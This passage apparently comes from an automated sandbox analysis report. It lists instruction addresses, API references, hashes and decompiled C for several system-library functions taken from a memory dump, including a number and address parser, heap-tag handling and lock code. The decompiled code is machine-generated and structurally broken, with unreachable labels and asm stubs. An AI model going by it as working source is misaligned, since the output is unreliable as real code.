0x00000000
0x00000000
0x6d29f54a
0x6d29f54c
0x00000000
0x00000000
0x6d29f55a
0x00000000
0x6d29f55f
0x6d29f519
0x6d29f51f
0x6d29f4f0
0x6d29f4f0
0x00000000
0x6d29f4f0
0x6d29f521
0x6d29f524
0x6d29f525
0x6d29f52a
0x6d29f50b
0x6d29f50b
0x00000000
0x6d29f50b
0x6d29f52c
0x6d29f52e
0x00000000
0x6d29f52e
0x6d29f47c
0x6d29f483
0x6d29f4a2
0x6d29f4a2
0x6d29f4a8
0x6d29f4aa
0x00000000
0x00000000
0x6d29f4b0
0x6d29f4b6
0x6d29f4b8
0x00000000
0x00000000
0x6d29f4be
0x6d29f4c0
0x00000000
0x00000000
0x6d29f4c9
0x6d29f4d0
0x00000000
0x6d29f4d0
0x6d29f485
0x6d29f48b
0x00000000
0x00000000
0x6d29f48d
0x6d29f490
0x6d29f491
0x6d29f496
0x00000000
0x00000000
0x6d29f498
0x6d29f49a
0x00000000
0x6d29f49a
0x6d29f405
0x6d29f40d
0x6d29f410
0x6d29f42a
0x6d29f42a
0x6d29f42d
0x00000000
0x00000000
0x00000000
0x6d29f42d
0x6d29f41d
0x6d29f422
0x6d29f424
0x00000000
0x00000000
0x00000000
0x6d29f424
0x6d29f3b4
0x6d29f3e4
0x6d29f3e9
0x6d29f3ef
0x6d29f3f1
0x6d29f4f9
0x6d29f4f9
0x00000000
0x00000000
0x6d29f4fb
0x6d29f500
0x00000000
0x00000000
0x6d29f502
0x6d29f507
0x00000000
0x00000000
0x6d29f4ec
0x6d29f4ee
0x6d29f4ee
0x00000000
0x00000000
0x00000000
0x6d29f4ee
0x6d29f3f7
0x6d29f3f9
0x6d29f4f7
0x00000000
0x6d29f4f7
0x6d29f3ff
0x6d29f3ff
0x00000000
0x6d29f3ff
0x6d29f346
0x6d29f34c
0x6d29f350
0x6d29f355
0x6d29f35b
0x6d29f35d
0x00000000
0x00000000
0x6d29f369
0x6d29f37f
0x6d29f384
0x6d29f38a
0x6d29f38c
0x6d29f4d8
0x6d29f4d8
0x00000000
0x00000000
0x6d29f4da
0x6d29f4df
0x00000000
0x00000000
0x6d29f4e1
0x6d29f4e6
0x00000000
0x00000000
0x6d29f4e8
0x00000000
0x6d29f4e8
0x6d29f392
0x6d29f394
0x6d29f4d6
0x00000000
0x6d29f4d6
0x6d29f39a
0x6d29f3ab
0x6d29f3ae
0x6d29f3ae
0x00000000
0x6d242075
0x6d242077
0x6d29f323
0x6d2420b7
0x6d2420c7
0x6d2420c7
0x6d242084
0x6d242110
0x6d242110
0x6d24208a
0x6d242092
0x6d2420b3
0x6d2420b3
0x6d2420b5
0x6d2420b5
0x00000000
0x6d242098
0x6d24209a
0x6d29f569
0x6d29f569
0x6d29f56e
0x6d29f570
0x00000000
0x6d29f570
0x6d2420a3
0x6d2420a4
0x6d2420aa
0x6d2420ab
0x00000000
0x6d2420b0
0x6d242092
0x6d24206f
0x6d241ff1

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6D2420AB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7927bf2db1ddba281cc13709b54654d9b1281ce9f9d6d5bccbd9358efc0013b0
Instruction ID: fb52bc48b26584cc4b404cb198deb5650292deff9b25cb8b1323e05973b74273
Opcode Fuzzy Hash: 7927bf2db1ddba281cc13709b54654d9b1281ce9f9d6d5bccbd9358efc0013b0
Instruction Fuzzy Hash: 60A183B198412E9BDB65CA1AC840BFA73F8BF84314F11D1B9A959D7240DF359A82CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2411E0, Relevance: 6.2, APIs: 4, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6D2411E0(signed short* _a4, signed int _a8, signed short** _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				char _v25;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t55;
				signed int _t56;
				signed int _t57;
				long _t58;
				void* _t60;
				signed int _t64;
				signed int _t65;
				signed short _t67;
				signed int _t74;
				signed int _t80;
				int _t81;
				signed int _t82;
				signed short** _t86;
				signed int _t88;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed char _t94;
				signed char _t97;
				signed int _t102;
				void* _t109;
				long _t116;
				signed int _t119;
				signed short* _t122;
				signed short* _t123;
				signed int _t124;

				_v8 =  *0x6d33d360 ^ _t124;
				_t86 = _a12;
				_t122 = _a4;
				_v48 = _a16;
				_t119 =  &_v24;
				do {
					_v36 = _v36 & 0x00000000;
					_v25 = 0;
					_v32 = 0xa;
					if( *_t122 == 0x30) {
						_t123 =  &(_t122[1]);
						_t55 =  *_t123 & 0x0000ffff;
						if(_t55 >= 0x80 || iswctype(_t55, 4) == 0) {
							_t56 =  *_t123 & 0x0000ffff;
							if(_t56 == 0x78 || _t56 == 0x58) {
								_t57 = 0x10;
								_v32 = _t57;
								_t123 =  &(_t123[1]);
								goto L3;
							} else {
								_v25 = 1;
								goto L2;
							}
						} else {
							_t57 = 8;
							_v32 = _t57;
							goto L3;
						}
						L59:
					} else {
						L2:
						_t57 = _v32;
					}
					L3:
					_t115 = _a8;
					if(_a8 != 0) {
						if(_t57 == 0xa) {
							goto L4;
						} else {
							goto L13;
						}
					} else {
						L4:
						_t58 =  *_t123 & 0x0000ffff;
						_v40 = _t58;
						if(_t58 == 0) {
							_t88 = _v36;
							_t115 = _v25;
							goto L11;
						} else {
							do {
								_t116 = 0x80;
								if(_t58 >= 0x80) {
									_t102 = _v32;
									goto L8;
								} else {
									_t81 = iswctype(_t58, 4);
									_t102 = _v32;
									_t58 = _v40;
									if(_t81 != 0) {
										_t82 = _t58 & 0x0000ffff;
										_v44 = _t82;
										if(_t82 + 0xffffffd0 >= _t102) {
											_t58 = _v40;
											goto L7;
										} else {
											_t115 = _v36;
											_t80 = _v32 * _t115;
											_t109 = _v44 + 0xffffffd0;
											goto L32;
										}
									} else {
										L7:
										_t116 = 0x80;
										L8:
										if(_t102 == 0x10) {
											if(_t58 >= _t116 || iswctype(_t58, _t116) == 0) {
												goto L9;
											} else {
												_t74 = iswctype(_v40, 2);
												_t115 = _v36;
												asm("sbb eax, eax");
												_t109 = (_t115 << 4) - ( ~_t74 & 0x00000020) + 0x41;
												_t80 = (_v40 & 0x0000ffff) + 0xa;
												L32:
												_t88 = _t109 + _t80;
												if(_t88 < _t115) {
													goto L13;
												} else {
													goto L33;
												}
											}
										} else {
											L9:
											_t88 = _v36;
											L10:
											_t115 = _a8;
											L11:
											if( *_t123 == 0x2e) {
												if(_t119 >=  &_v12) {
													goto L13;
												} else {
													goto L36;
												}
											} else {
												if(_t115 != 0) {
													 *_t119 = _t88;
													_t119 = _t119 -  &_v24 + 4 >> 2;
													if(_t115 == 0 || _t119 == 4) {
														_t119 = _t119 - 1;
														if(_t119 == 0) {
															_t91 = _v24;
															goto L58;
														} else {
															_t119 = _t119 - 1;
															if(_t119 == 0) {
																_t92 = _v24;
																if(_t92 > 0xff) {
																	goto L13;
																} else {
																	_t64 = _v20;
																	_t115 = 0xffffff;
																	if(_t64 > 0xffffff) {
																		goto L13;
																	} else {
																		_t93 = _t92 << 0x18;
																		_t65 = _t64 & 0x00ffffff;
																		goto L56;
																	}
																}
															} else {
																_t119 = _t119 - 1;
																if(_t119 == 0) {
																	_t115 = _v24;
																	if(_t115 > 0xff) {
																		goto L13;
																	} else {
																		_t94 = _v20;
																		if(_t94 > 0xff) {
																			goto L13;
																		} else {
																			_t67 = _v16;
																			if(_t67 > 0xffff) {
																				goto L13;
																			} else {
																				_t115 = _t115 << 8;
																				_t65 = _t67 & 0x0000ffff;
																				_t93 = (_t94 & 0x000000ff | _t115) << 0x10;
																				goto L56;
																			}
																		}
																	}
																} else {
																	if(_t119 != 0) {
																		goto L13;
																	} else {
																		_t115 = _v24;
																		if(_t115 > 0xff) {
																			goto L13;
																		} else {
																			_t97 = _v20;
																			if(_t97 > 0xff || _v16 > 0xff || _v12 > 0xff) {
																				goto L13;
																			} else {
																				_t93 = ((_t97 & 0x000000ff | _t115) << 0x00000008 | _v16 & 0x000000ff) << 8;
																				_t65 = _v12 & 0x000000ff;
																				L56:
																				_t91 = _t93 | _t65;
																				L58:
																				asm("bswap ecx");
																				 *_t86 = _t123;
																				 *_v48 = _t91;
																				_t60 = 0;
																			}
																		}
																	}
																}
															}
														}
													} else {
														goto L13;
													}
												} else {
													L13:
													 *_t86 = _t123;
													_t60 = 0xc000000d;
												}
											}
										}
									}
								}
								goto L14;
								L33:
								_t123 =  &(_t123[1]);
								_v36 = _t88;
								_v25 = 1;
								_t58 =  *_t123 & 0x0000ffff;
								_v40 = _t58;
							} while (_t58 != 0);
							goto L10;
						}
					}
					L14:
					return E6D28B640(_t60, _t86, _v8 ^ _t124, _t115, _t119, _t123);
					goto L59;
					L36:
					 *_t119 = _t88;
					_t122 =  &(_t123[1]);
					_t119 = _t119 + 4;
				} while (_t115 != 0);
				goto L13;
			}

0x6d2411ef
0x6d2411f6
0x6d2411fa
0x6d2411fe
0x6d241201
0x6d241204
0x6d241209
0x6d241211
0x6d241215
0x6d24121c
0x6d29ec5c
0x6d29ec5f
0x6d29ec65
0x6d29ec80
0x6d29ec86
0x6d29ec98
0x6d29ec99
0x6d29ec9c
0x00000000
0x6d29ec8d
0x6d29ec8d
0x00000000
0x6d29ec8d
0x6d29ec75
0x6d29ec77
0x6d29ec78
0x00000000
0x6d29ec78
0x00000000
0x6d241222
0x6d241222
0x6d241222
0x6d241222
0x6d241225
0x6d241225
0x6d24122a
0x6d24129f
0x00000000
0x6d2412a1
0x00000000
0x6d2412a1
0x6d24122c
0x6d24122c
0x6d24122c
0x6d24122f
0x6d241235
0x6d2412a8
0x6d2412ab
0x00000000
0x6d241237
0x6d241237
0x6d241237
0x6d24123f
0x6d2412a3
0x00000000
0x6d241241
0x6d241244
0x6d24124b
0x6d241250
0x6d241253
0x6d29eca4
0x6d29eca7
0x6d29ecaf
0x6d29ecc2
0x00000000
0x6d29ecb1
0x6d29ecb4
0x6d29ecba
0x6d29ecbd
0x00000000
0x6d29ecbd
0x6d241259
0x6d241259
0x6d241259
0x6d24125e
0x6d241261
0x6d29eccd
0x00000000
0x6d29ece4
0x6d29ecea
0x6d29ecef
0x6d29ecf5
0x6d29ed03
0x6d29ed0b
0x6d29ed0e
0x6d29ed0e
0x6d29ed12
0x00000000
0x00000000
0x00000000
0x00000000
0x6d29ed12
0x6d241267
0x6d241267
0x6d24126a
0x6d24126d
0x6d24126d
0x6d241270
0x6d241274
0x6d29ed3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6d24127a
0x6d24127c
0x6d29ed57
0x6d29ed61
0x6d29ed66
0x6d29ed71
0x6d29ed74
0x6d29ee3d
0x00000000
0x6d29ed7a
0x6d29ed7a
0x6d29ed7d
0x6d29ee15
0x6d29ee1e
0x00000000
0x6d29ee24
0x6d29ee24
0x6d29ee27
0x6d29ee2e
0x00000000
0x6d29ee34
0x6d29ee34
0x6d29ee37
0x00000000
0x6d29ee37
0x6d29ee2e
0x6d29ed83
0x6d29ed83
0x6d29ed86
0x6d29eddc
0x6d29ede6
0x00000000
0x6d29edec
0x6d29edec
0x6d29edf1
0x00000000
0x6d29edf7
0x6d29edf7
0x6d29edff
0x00000000
0x6d29ee05
0x6d29ee08
0x6d29ee0d
0x6d29ee10
0x00000000
0x6d29ee10
0x6d29edff
0x6d29edf1
0x6d29ed88
0x6d29ed8b
0x00000000
0x6d29ed91
0x6d29ed91
0x6d29ed9b
0x00000000
0x6d29eda1
0x6d29eda1
0x6d29eda6
0x00000000
0x6d29edbe
0x6d29edd4
0x6d29edd7
0x6d29ee39
0x6d29ee39
0x6d29ee40
0x6d29ee43
0x6d29ee45
0x6d29ee47
0x6d29ee49
0x6d29ee49
0x6d29eda6
0x6d29ed9b
0x6d29ed8b
0x6d29ed86
0x6d29ed7d
0x00000000
0x00000000
0x00000000
0x6d241282
0x6d241282
0x6d241282
0x6d241284
0x6d241284
0x6d24127c
0x6d241274
0x6d241261
0x6d241253
0x00000000
0x6d29ed18
0x6d29ed18
0x6d29ed1b
0x6d29ed20
0x6d29ed23
0x6d29ed26
0x6d29ed29
0x00000000
0x6d29ed32
0x6d241235
0x6d241289
0x6d241299
0x00000000
0x6d29ed42
0x6d29ed42
0x6d29ed44
0x6d29ed47
0x6d29ed4a
0x00000000

APIs

iswctype.1105(0000000A,00000004), ref: 6D241244
iswctype.1105(00000000,00000004), ref: 6D29EC6A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: dba5226be82c5b0426e50438bfb0bf8a9751f52673c66f13866dbdd6a663368f
Instruction ID: 7d98363fa431c69983b5388bc86bc72c3c4febfdc6911dd7d00ee36473067f30
Opcode Fuzzy Hash: dba5226be82c5b0426e50438bfb0bf8a9751f52673c66f13866dbdd6a663368f
Instruction Fuzzy Hash: E671E571E8412F8BDB1ECEA9C4907BE77F1BB45311F10852ADC91EB284D7399990C760

Uniqueness

Uniqueness Score: -1.00%

Function 6D241E50, Relevance: 6.2, APIs: 4, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6D241E50(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t78;
				unsigned int* _t79;
				intOrPtr _t84;
				signed int _t86;
				signed char _t91;
				signed char _t101;
				signed int _t110;
				signed char _t120;
				unsigned int _t130;
				intOrPtr _t136;
				void* _t142;
				void* _t143;

				_t137 = __esi;
				_push(0x18);
				_push(0x6d31f330);
				E6D29D08C(__ebx, __edi, __esi);
				_t136 =  *((intOrPtr*)(_t143 + 8));
				 *((intOrPtr*)(_t143 - 0x28)) = _t136;
				_t106 = 0;
				 *((char*)(_t143 - 0x19)) = 0;
				if( *((intOrPtr*)(_t136 + 8)) == 0xddeeddee) {
					 *(_t143 - 0x24) = E6D2F2E4E( *(_t143 + 0xc));
					_t110 =  *(_t136 + 0x28);
					__eflags = _t110;
					if(_t110 != 0) {
						_t84 =  *[fs:0x18];
						__eflags = _t110 -  *((intOrPtr*)(_t84 + 0x24));
						if(_t110 ==  *((intOrPtr*)(_t84 + 0x24))) {
							_t44 = _t143 - 0x24;
							 *_t44 =  *(_t143 - 0x24) | 0x00000001;
							__eflags =  *_t44;
						}
					}
					__eflags =  *0x6d335cb8 & 0x00000002;
					if(__eflags != 0) {
						__eflags =  *(_t143 + 0x10) - _t106;
						if(__eflags != 0) {
							_t51 = _t143 + 0x10;
							 *_t51 =  *(_t143 + 0x10) -  *((intOrPtr*)( *(_t143 + 0x10) - 8));
							__eflags =  *_t51;
						}
					}
					_t78 = E6D30ACFD(_t136,  *(_t143 + 0x10), __eflags,  *(_t136 + 0xc) |  *(_t143 - 0x24), _t106);
					__eflags = _t78;
					if(_t78 != 0) {
						__eflags = _t78 - 0xffffffff;
						if(_t78 != 0xffffffff) {
							 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t143 + 0x14));
							_t106 = 1;
							__eflags = 1;
						}
					}
					__eflags = _t106;
					if(_t106 == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
					}
					_t79 = _t106;
					L15:
					return E6D29D0D1(_t79);
				}
				_t86 =  *(_t143 + 0xc) |  *(_t136 + 0x44);
				 *(_t143 - 0x24) = _t86;
				if((_t86 & 0x61000000) != 0) {
					__eflags = _t86 & 0x10000000;
					if(__eflags != 0) {
						goto L2;
					}
					_t79 = E6D3040DC(0, _t136, _t86, _t136, __esi, __eflags,  *(_t143 + 0x10),  *((intOrPtr*)(_t143 + 0x14)));
					goto L15;
				}
				L2:
				if(( *(_t136 + 0x48) & 0x00000001) != 0) {
					_t139 = E6D241E04(_t136,  *(_t143 + 0x10), _t136, _t137, __eflags);
					L6:
					 *(_t143 - 0x20) = _t139;
					if(_t139 == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
						_t79 = 0;
						goto L15;
					}
					 *(_t143 - 0x1a) = _t106;
					 *(_t143 - 4) = _t106;
					if(( *(_t143 - 0x24) & 0x00000001) == 0) {
						L6D25EEF0( *((intOrPtr*)(_t136 + 0xc8)));
						 *((char*)(_t143 - 0x19)) = 1;
					}
					_t91 = _t139[1];
					if((_t91 & 0x0000003f) == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
						 *(_t143 - 0x20) = _t106;
						goto L38;
					} else {
						if(_t91 < 0) {
							L38:
							_t139 = _t106;
							 *(_t143 - 0x20) = _t106;
							L14:
							 *(_t143 - 4) = 0xfffffffe;
							E6D241F37(_t106, _t136, _t139);
							_t79 =  *(_t143 - 0x1a);
							goto L15;
						}
						if( *((intOrPtr*)(_t136 + 0x4c)) != _t106) {
							_t130 =  *(_t136 + 0x50) ^  *_t139;
							 *_t139 = _t130;
							_t120 = _t130 >> 0x00000010 ^ _t130 >> 0x00000008 ^ _t130;
							if(_t130 >> 0x18 != _t120) {
								_push(_t120);
								E6D2FFA2B(_t106, _t136, _t139, _t136, _t139, __eflags);
							}
						}
						if((_t139[0] & 0x00000002) != 0) {
							 *((intOrPtr*)(E6D241F5B(_t139) + 4)) =  *((intOrPtr*)(_t143 + 0x14));
							 *(_t143 - 0x1a) = 1;
						}
						goto L14;
					}
				}
				_t101 =  *(_t143 + 0x10);
				if((_t101 & 0x00000007) != 0) {
					_push(_t106);
					_push(_t106);
					_push(_t101);
					_push(9);
					L34:
					E6D30A80D(_t136);
					_t139 = _t106;
					goto L6;
				}
				_t142 = _t101 - 8;
				if( *((char*)(_t142 + 7)) == 5) {
					_t139 = _t142 - (( *(_t142 + 6) & 0x000000ff) << 3);
				}
				if((_t139[1] & 0x0000003f) == 0) {
					_push(_t108);
					_push(_t106);
					_push(_t106);
					_push(_t139);
					_push(8);
					goto L34;
				} else {
					goto L6;
				}
			}

0x6d241e50
0x6d241e50
0x6d241e52
0x6d241e57
0x6d241e5c
0x6d241e5f
0x6d241e62
0x6d241e64
0x6d241e6e
0x6d29f1b1
0x6d29f1b4
0x6d29f1b7
0x6d29f1b9
0x6d29f1bb
0x6d29f1c1
0x6d29f1c4
0x6d29f1c6
0x6d29f1c6
0x6d29f1c6
0x6d29f1c6
0x6d29f1c4
0x6d29f1ca
0x6d29f1d1
0x6d29f1d3
0x6d29f1d6
0x6d29f1de
0x6d29f1de
0x6d29f1de
0x6d29f1de
0x6d29f1d6
0x6d29f1ee
0x6d29f1f3
0x6d29f1f5
0x6d29f1f7
0x6d29f1fa
0x6d29f1ff
0x6d29f204
0x6d29f204
0x6d29f204
0x6d29f1fa
0x6d29f205
0x6d29f207
0x6d29f215
0x6d29f228
0x6d29f228
0x6d29f22b
0x6d241f2f
0x6d241f34
0x6d241f34
0x6d241e77
0x6d241e7a
0x6d241e82
0x6d29f232
0x6d29f237
0x00000000
0x00000000
0x6d29f247
0x00000000
0x6d29f247
0x6d241e88
0x6d241e8c
0x6d29f25b
0x6d241eb4
0x6d241eb4
0x6d241eb9
0x6d29f298
0x6d29f2ab
0x6d29f2ae
0x00000000
0x6d29f2ae
0x6d241ebf
0x6d241ec2
0x6d241ec9
0x6d29f2bb
0x6d29f2c0
0x6d29f2c0
0x6d241ecf
0x6d241ed4
0x6d29f2d4
0x6d29f2e7
0x6d29f2ea
0x00000000
0x6d241eda
0x6d241edc
0x6d29f2ed
0x6d29f2ed
0x6d29f2ef
0x6d241f20
0x6d241f20
0x6d241f27
0x6d241f2c
0x00000000
0x6d241f2c
0x6d241ee5
0x6d241eea
0x6d241eec
0x6d241efa
0x6d241f01
0x6d29f2f7
0x6d29f2fc
0x6d29f2fc
0x6d241f01
0x6d241f0b
0x6d241f17
0x6d241f1d
0x6d241f1d
0x00000000
0x6d241f0b
0x6d241ed4
0x6d241e92
0x6d241e97
0x6d29f279
0x6d29f27a
0x6d29f27b
0x6d29f27c
0x6d29f27e
0x6d29f281
0x6d29f286
0x00000000
0x6d29f286
0x6d241e9d
0x6d241ea4
0x6d29f269
0x6d29f269
0x6d241eae
0x6d29f270
0x6d29f271
0x6d29f272
0x6d29f273
0x6d29f274
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6D31F330,00000018), ref: 6D29F223
RtlNtStatusToDosError.1105(C000000D), ref: 6D29F2A6
RtlEnterCriticalSection.1105(?), ref: 6D29F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6D29F2E2

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: 9cf277c05a9ed8fdf90b487738c189841a550213197cad786036dc1d2025bddf
Instruction ID: 0e9a64ac2e4f8975a3e00e645eae6dc2a1ba8c9819cc815c37a06ff9dafcee21
Opcode Fuzzy Hash: 9cf277c05a9ed8fdf90b487738c189841a550213197cad786036dc1d2025bddf
Instruction Fuzzy Hash: 2851F375A8478F8FDB4ACF65C540BAB7BE1BF49304F01C568EC655B640C730A856CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D31ED52, Relevance: 6.1, APIs: 4, Instructions: 110
timeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E6D31ED52(intOrPtr* __ecx, signed int* __edx) {
				signed int _v8;
				unsigned int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t25;
				signed char _t41;
				intOrPtr* _t49;
				void* _t50;
				signed char _t67;
				signed int _t70;
				signed char _t72;
				signed int* _t79;
				void* _t80;
				signed int _t82;
				void* _t84;
				unsigned int _t86;
				signed int _t90;

				_push(__ecx);
				_push(__ecx);
				_v8 =  *0x6d33d360 ^ _t90;
				_t79 = __edx;
				_t49 = __ecx;
				_t70 = __edx + 8;
				_t82 =  *_t70;
				_t25 = _t82;
				while((_t25 & 0x00ffffff) != 1) {
					_t25 = _t82;
					asm("lock cmpxchg [edx], ecx");
					if(_t25 == _t82) {
						break;
					}
					_t82 = _t25;
				}
				if((_t82 & 0x00ffffff) > 1) {
					L15:
					_pop(_t80);
					_pop(_t84);
					_pop(_t50);
					return E6D28B640(_t25, _t50, _v8 ^ _t90, _t70, _t80, _t84);
				}
				_t4 = _t49 + 0x1c; // 0x6d338684
				_t85 = _t4;
				E6D262280(_t25, _t4);
				_t70 = _t70 | 0xffffffff;
				asm("lock xadd [ecx], eax");
				if((_t70 - 0x00000001 & 0x00ffffff) != 0) {
					_t25 = E6D25FFB0(_t49, _t79, _t85);
					goto L15;
				}
				_t86 =  *(_t49 + 4);
				_t72 = _t70 << (_t86 & 0x0000001f) & _t79[1];
				_v12 = _t72;
				_t70 = 0;
				_t67 =  *((intOrPtr*)(_t49 + 8)) + ((_t86 >> 0x00000005) - 0x00000001 & (_v12 >> 0x00000018) + ((_v12 >> 0x00000010 & 0x000000ff) + ((_t72 >> 0x00000008 & 0x000000ff) + ((_t72 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025) * 4;
				if(( *_t79 & 0x80000002) == 0x80000002) {
				}
				while(1) {
					_t41 =  *_t67;
					if((_t41 & 0x00000001) != 0) {
						break;
					}
					if(_t41 == _t79) {
						 *_t67 =  *_t79;
						 *_t49 =  *_t49 - 1;
						 *_t79 =  *_t79 | 0x80000002;
						L13:
						_t19 = _t49 + 0x1c; // 0x6d338683
						E6D25FFB0(_t49, _t79, _t19);
						 *0x6d33b1e0(_t79,  *((intOrPtr*)(_t49 + 0x28)));
						_t25 =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x24))))();
						goto L15;
					}
					_t67 = _t41;
				}
				goto L13;
			}

0x6d31ed57
0x6d31ed58
0x6d31ed60
0x6d31ed66
0x6d31ed68
0x6d31ed6a
0x6d31ed6d
0x6d31ed6f
0x6d31ed8c
0x6d31ed76
0x6d31ed82
0x6d31ed88
0x00000000
0x00000000
0x6d31ed8a
0x6d31ed8a
0x6d31ed9f
0x6d31ee60
0x6d31ee63
0x6d31ee64
0x6d31ee67
0x6d31ee70
0x6d31ee70
0x6d31eda5
0x6d31eda5
0x6d31eda9
0x6d31edae
0x6d31edb6
0x6d31edc0
0x6d31ee5b
0x00000000
0x6d31ee5b
0x6d31edc6
0x6d31edd3
0x6d31ede4
0x6d31ee15
0x6d31ee17
0x6d31ee20
0x6d31ee20
0x6d31ee24
0x6d31ee24
0x6d31ee28
0x00000000
0x00000000
0x6d31ee2c
0x6d31ee34
0x6d31ee36
0x6d31ee38
0x6d31ee3e
0x6d31ee3e
0x6d31ee42
0x6d31ee50
0x6d31ee56
0x00000000
0x6d31ee56
0x6d31ee2e
0x6d31ee2e
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6D338684,6D338668,?,?,6D338668,6D338668,?,6D31E5F4,?,80000002,6D338668,6D338660), ref: 6D31EDA9
RtlReleaseSRWLockExclusive.1105(6D338684,6D338684,6D338668,?,?,6D338668,6D338668,?,6D31E5F4,?,80000002,6D338668,6D338660), ref: 6D31EE42
RtlDebugPrintTimes.1105(?,?,6D338684,6D338684,6D338668,?,?,6D338668,6D338668,?,6D31E5F4,?,80000002,6D338668,6D338660), ref: 6D31EE50
RtlReleaseSRWLockExclusive.1105(6D338684,6D338684,6D338668,?,?,6D338668,6D338668,?,6D31E5F4,?,80000002,6D338668,6D338660), ref: 6D31EE5B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: 71325c4ebb05312492c6879cae6de7bd69ef926999fd7a9f2d149ea42c108ce8
Instruction ID: aacd23b32fceb7820ab0324632c675d8228fbe4cd51e9baf92771c1352862cbf
Opcode Fuzzy Hash: 71325c4ebb05312492c6879cae6de7bd69ef926999fd7a9f2d149ea42c108ce8
Instruction Fuzzy Hash: B2312636A045269BCB1DCF18CC81569B7B5FF8A320319826DE912DB794DB35ED01CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D278ED7, Relevance: 6.1, APIs: 4, Instructions: 110
libraryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6D278ED7(signed char __ecx, void* __edx, int* _a8, intOrPtr* _a12, signed int* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				wchar_t* _v24;
				char _v28;
				void* _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t43;
				intOrPtr _t47;
				signed char _t52;
				signed int _t56;
				intOrPtr* _t61;
				intOrPtr* _t65;
				int _t71;
				wchar_t* _t73;
				intOrPtr* _t74;
				int _t76;
				void* _t78;
				void* _t79;
				signed int _t81;
				void* _t82;
				void* _t83;
				intOrPtr* _t84;

				_t69 = __edx;
				_v36 = _v36 & 0x00000000;
				_push(_t83);
				_t52 = __ecx;
				_v32 = __edx;
				_t78 =  &_v28;
				_t56 = 6;
				memset(_t78, 0, _t56 << 2);
				_t79 = _t78 + _t56;
				_t92 = _t52 & 0x00000003;
				if((_t52 & 0x00000003) == 0) {
					_t84 = E6D25B550(0, _t69, _t52,  &_v36);
					__eflags = _t84;
					if(_t84 >= 0) {
						_t81 = _v36;
						_t71 = ( *(_t81 + 0x24) & 0x0000ffff) - ( *(_t81 + 0x2c) & 0x0000ffff);
						 *_a8 = _t71;
						__eflags = _t71 - ( *(_t81 + 0x24) & 0x0000ffff);
						if(_t71 > ( *(_t81 + 0x24) & 0x0000ffff)) {
							goto L15;
						} else {
							__eflags = _t71 - 0x2be;
							if(_t71 >= 0x2be) {
								goto L15;
							} else {
								memcpy(_v32,  *(_t81 + 0x28), _t71);
								 *_a12 =  *((intOrPtr*)(_t81 + 0x30));
